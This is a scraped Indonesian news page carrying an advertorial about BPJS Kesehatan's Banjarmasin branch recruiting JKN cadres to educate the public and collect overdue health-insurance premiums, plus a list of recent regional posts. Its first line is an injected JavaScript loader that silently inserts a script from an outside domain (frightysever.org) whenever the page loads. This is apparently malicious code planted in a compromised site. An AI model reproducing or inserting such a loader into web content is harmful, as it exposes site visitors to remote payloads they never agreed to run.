(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Advertorial

BPJS Kesehatan Maksimalkan Peran Kader JKN


BANJARMASIN, Menjaga kesinambungan Program Jaminan Kesehatan Nasional-Kartu Indonesia Sehat (JKN-KIS), BPJS Kesehatan selalu berinovasi agar sustainbilitas program mulia yang hadir untuk masyarakat ini dapat tetap terjaga.

Salah satu inovasi yang mulai kembali diterapkan ialah melakukan perekrutan kader JKN. Kader JKN merupakan mitra BPJS Kesehatan yang memiliki fungsi sebagai perpanjangan tangan dari BPJS Kesehatan kepada masyarakat yang diharapkan mampu memberikan pemahaman mengenai program JKN-KIS. Sehingga terciptanya kesadaran masyarakat terhadap pentingnya menjadi peserta JKN-KIS.

“Terbaru kita sudah melakukan perekrutan kader JKN sebanyak 10 orang. Mereka ini langsung kita berikan pembekalan agar bisa memperlancar kerja mereka saat turun ke lapangan nantinya,” Jelas Kepala BPJS Kesehatan Cabang Banjarmasin Muhammad Fakhriza, Kamis (13/9).

Pembekalan diisi dengan pemberian wawasan secara menyeluruh mengenai program JKN-KIS, baik untuk pendaftaran, prosedur pelayanan kesehatan, serta tata cara pembayaran iuran. Sehingga nantinya pada saat terjun ke lapangan, para kader JKN benar-benar sudah paham betul dan dapat menyampaikan pengetahuan tersebut kepada masyarakat.

Fakhriza menjelaskan, diantara tugas-tugas pokok yang dimiliki oleh kader JKN, satu yang menjadi fokus lebih adalah pengingat dan pengumpul iuran yang tertunggak kepada peserta JKN-KIS segmen Pekerja Bukan Penerima Upah (PBPU). Hal ini dilakukan guna meningkatkan kolektabilitas iuran agar pengelolaan biaya pelayanan kesehatan dapat tetap berjalan stabil dan sustainable sebagai salah satu upaya menjaga kesinambungan program JKN-KIS.

“Masing-masing kader JKN memiliki target dalam melaksanakan tugasnya, targetnya pun difokuskan terhadap kolektabilitas iuran, yakni setiap kader JKN harus mampu mengumpulkan iuran tertunggak dari peserta PBPU sesuai yang telah ditetapkan dalam waktu 3 bulan. Diharapkan dengan adanya target ini para kader JKN dapat fokus dalam menjalankan tugasnya,” jelas Fakhriza.

Walaupun yang menjadi perhatian utama dari tugas kader JKN ialah pengumpulan iuran, bukan berarti mereka boleh mengesampingkan tugas lainnya dalam hal memberikan edukasi program JKN-KIS ataupun pendaftaran peserta. Karena itu semua merupakan capaian yang akan menjadi rapot dari masing-masing Kader JKN.

“BPJS Kesehatan akan melakukan monitoring terhadap kinerja kader JKN, apakah tugasnya berjalan optimal yang nantinya capaian tersebut akan dievaluasi yang akan berimbas kepada imbal jasa yang akan mereka dapatkan,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

6 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

6 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

6 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

6 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

6 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

6 bulan ago

This website uses cookies.